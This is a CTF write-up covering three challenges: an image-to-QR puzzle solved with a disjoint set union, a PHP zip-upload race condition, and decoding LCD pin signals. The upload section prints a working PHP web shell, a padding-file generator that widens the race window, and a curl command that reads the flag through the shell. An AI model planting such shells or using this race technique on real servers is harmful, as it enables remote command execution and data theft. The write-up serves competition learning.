PolyU NuttyShell CTF 2024 Write-Up
Cats or Dogs?⌗
Write-Up by happypotato⌗
Part 1: Inspecting the file⌗
We were given an extremely large .jpg
filled with images of cats and dogs. The dimensions of the image are 26250 * 26250
, with each small image being 350 * 350
. We checked the metadata and browsed the hex file of the image, but to no avail. Looking at the picture again, we thought of creating a qr code with cats as white and dogs as black.
Upon further inspection, we noticed that every 3 * 3
grid has the same species, and some pictures appear in different parts of the photo.
Each 3 * 3
grid is the same (the purple square), and some images are identical (the cat circled yellow).
Part 2: Disjoint Set Union⌗
We are motivated to perform Disjoint Set Union on those images (more on that could be found here). Here is my implementation of DSU:
class DSU:
par, sz = [], []
def __init__(self, n):
self.par = [i for i in range(n)]
self.sz = [1 for i in range(n)]
def Find(self, u):
if self.par[u] == u:
return u
else:
self.par[u] = self.Find(self.par[u])
return self.par[u]
def Union(self, u, v):
u = self.Find(u)
v = self.Find(v)
if u == v:
return False
else:
if self.sz[u] < self.sz[v]:
u, v = v, u
self.par[v] = u
self.sz[u] += self.sz[v]
return True
Part 3: Solving the remaining puzzle⌗
Now that we know what DSU is, we can perform the following:
- Union all images in every
3 * 3
grid, and - Union all same images (that includes pictures in different grids).
Note that as .jpg
uses a lossy compression, the images are not exactly the same; to solve this problem, we have to consider the error caused by compression and set a certain threshold in the IsEqual()
function. Most sensible methods work as well, but here is my implementation of the IsEqual()
function (sorry for bad implementation!):
# lhs, rhs are cropped images of the original file with dimensions 350 * 350
width = 350
def IsEqual(lhs, rhs):
BLOCK = 5
for i in range(BLOCK):
for j in range(BLOCK):
lhash, rhash = 0, 0
for x in range(i * (width // BLOCK), (i + 1) * (width // BLOCK)):
for y in range(j * (width // BLOCK), (j + 1) * (width // BLOCK)):
lhash += sum(lhs.getpixel((x, y)))
rhash += sum(rhs.getpixel((x, y)))
if abs(lhash - rhash) > (((width // BLOCK) ** 2) * 256 * 3 * 0.01):
return False
return True
After merging, because of DSU, all the images in the same set are either all cats or all dogs.
After running our code, we (surprisingly) found out that there are only 22
disjoint sets. We can now determine whether the images in each set are cats or dogs manually.
We then take those data and convert it into an image again. We get this QR code:
Scanning it with a QR code scanner online give us the flag PUCTF24{ILikeHum4nsM0re:P_8e0af}
.
Review⌗
Write-Up by nsysean⌗
Challenge Summary⌗
Users can upload zip files not larger than
2097152
bytes to a server. The unzippped contents will then be put in a/uploads/
folder. After that, the program will loop through all files in an attempt to remove all files not ending with the.jpg
or.png
file extension. The flag is hidden atflag.php
<?php
if(isset($_POST["submit"])){
if(!isset($_FILES["file"])){
die("No file uploaded");
}
else if($_FILES["file"]["size"] > 2097152){
die("File size is too large");
}
else if(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION) != "zip"){
die("File extension is not supported");
}
else if(file_get_contents($_FILES["file"]["tmp_name"], FALSE, NULL, 0, 2) != "PK"){
die("File is not a zip file");
}
else if(!move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"])){
die("File is not uploaded");
}
else{
$dir = "uploads/" . pathinfo($_FILES["file"]["name"], PATHINFO_FILENAME);
if(!file_exists($dir)){
mkdir($dir);
}
else{
die("Directory is already exists");
return;
}
$zip = new ZipArchive;
$res = $zip->open("uploads/" . $_FILES["file"]["name"]);
if($res === TRUE){
for($i = 0; $i < $zip->numFiles; $i++) {
$filename = $zip->getNameIndex($i);
$fileinfo = pathinfo($filename);
copy("zip://"."./uploads/" . $_FILES["file"]["name"]."#".$filename, $dir . "/". $fileinfo['basename']) or die("Unzip failed!");
}
$zip->close();
$files = scandir($dir);
foreach($files as $file){
if($file != "." && $file != ".."){
if(pathinfo($file, PATHINFO_EXTENSION) != "jpg" && pathinfo($file, PATHINFO_EXTENSION) != "png"){
unlink($dir . "/" . $file);
}
}
}
unlink("uploads/" . $_FILES["file"]["name"]);
echo "File is uploaded successfully";
}
}
}
?>
Finding the vulnerability⌗
We can notice that the server unzips and copies all the files into the /uploads/
folder, then runs a for loop to check each file.
Then it is obvious that technically, you can upload any file you want and it can be accessed until the for loop reaches said file.
Since the server is running on php
, if we upload a php
file that provides us with a web shell to the server, then we can do whatever we want!
Unfortunately, since the server only keeps .jpg
and .png
files, we need to find a way to extend the time frame between the when the file is uploaded and when it is deleted!
One way to do this is to add more abundant files, such that the server takes more time to copy those files into the /uploads/
folder.
Keep in mind that we need to make sure the web shell file is reached before the spam files, so we are going to name is 1.php
.
Implementation⌗
gen.sh
#!/bin/bash
for ((i=1; i<=2000; i++)) # 2000 files should last a good 10 seconds
do
convert -size 1x1 xc:#ffffff name/$i.png;
done
name/1.php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
After putting the generated files and web shell into the same folder and zip it, we can upload the zip file onto the server, then execute the command below.
curl http://chal.polyuctf.com:41341/uploads/name/1.php?cmd=cat%20/var/www/html/flag.php
Output⌗
<pre><?php
//PUCTF24{y0u_h4v3_g00d_r3v13w_th3_c0d3_8d5f3a7e29b16c402e0c8918a47e03b9}
?></pre>
The lost flag⌗
Write-Up by happypotato⌗
Disclaimer: Sorry if I am not using the correct name for the data/parts used in this question; this is my first time learning these
Part 1: Examining the task⌗
We are given a .ino
source code, a .csv
file (Sniffed_Conversations.csv
) and some photos connecting to a board. The time and 8
channels, namely Channel 0-7
, are logged in the .csv
file. It seems like the flag can be retrieved by understanding what is going on in the file.
Part 2: Reading comprehension⌗
Part 2a: Analysing the circuit⌗
With this image commented at the top of the source code, we can match the channels to their functions using the photos given. We find out a few things:
LCDPin_EN
is at Channel3
LCDPin_RS
is at Channel4
LCDPin_D4,5,6,7
are at Channel2,1,0,7
respectively
Part 2b: Analysing the code⌗
We now examine how data is transferred to the device. Looking at the following codes:
// Write 4-bits to data pin
void writeDataPin(uint8_t byte) {
// Write lower 4 bits of `byte` to DB4-DB7
// Very dumb way to do this, but I just want to make sure it's easy to understand
if((byte & 0x08) == 0x08) { digitalWrite(LCDPin_D7, HIGH); }else{ digitalWrite(LCDPin_D7, LOW); }
if((byte & 0x04) == 0x04) { digitalWrite(LCDPin_D6, HIGH); }else{ digitalWrite(LCDPin_D6, LOW); }
if((byte & 0x02) == 0x02) { digitalWrite(LCDPin_D5, HIGH); }else{ digitalWrite(LCDPin_D5, LOW); }
if((byte & 0x01) == 0x01) { digitalWrite(LCDPin_D4, HIGH); }else{ digitalWrite(LCDPin_D4, LOW); }
}
...
// Sends data to the LCD
void lcdData(uint8_t data) {
// We are in 4-bits data mode
// So the first 4-bits (higher nibble) will be sent
// Then the low 4-bits (lower nibble) will be sent
writeDataPin(((data & 0xF0) >> 4)); // First 4-bits
digitalWrite(LCDPin_RS, HIGH); // Selecting "Data" Register
delay(1);
// Generate High-to-low pulse at EN to latch data into the HD44780
digitalWrite(LCDPin_EN, HIGH);
delay(3);
digitalWrite(LCDPin_EN, LOW); // Generate High-to-low pulse at EN to latch data into the HD44780
delay(3);
writeDataPin((data & 0x0F)); // Remaining 4-bits
delay(1);
// Generate High-to-low pulse at EN to latch data into the HD44780
digitalWrite(LCDPin_EN, HIGH);
delay(3);
digitalWrite(LCDPin_EN, LOW); // Generate High-to-low pulse at EN to latch data into the HD44780
delay(3);
}
We find out that the ASCII of a character is D7_1 D6_1 D5_1 D4_1 D7_2 D6_2 D5_2 D4_2
in binary, where Dx_1
, Dx_2
represents the first and second call respectively. This translates to C7_1 C0_1 C1_1 C2_1 C7_2 C0_2 C1_2 C2_2
where Cx
represents Channel x
.
We also find out that after each writeDataPin()
call, digitalWrite(LCDPin_EN, HIGH)
is called, assinging LCDPin_EN
to 1
, followed by digitalWrite(LCDPin_EN, LOW)
, assigning it to 0
. This means that we can treat C3
as a “save state” and only consider rows with C3 = 1
.
Finally, looking at the lcdCmd()
function, we realise that LCDPin_RS
is 0
if the current message sent is a command and 1
if the current message sent are some data.
Part 3: Solving the remaining bits⌗
With the above observations, we can extract all rows with C3 = 1
and C4 = 1
and calculate the ASCII value of those characters according to the ordering mentioned above. The following code is for calculating ASCII values:
#include <bits/stdc++.h>
using namespace std;
int main() {
vector<int> v = {7, 0, 1, 2};
for (int inp = 0; inp < 56; inp++) {
int cur = 0;
bool a[8];
for (int rep = 0; rep < 2; rep++) {
for (int i = 0; i < 8; i++) {
cin >> a[i];
}
for (int x : v) {
cur = ((cur << 1) | a[x]);
}
}
cout << char(cur);
}
cout << '\n';
}
We get THE LOST FLAG PUCTF24{SecretD4t4_1n_S1gn4lTr4c3_9f4e0}
.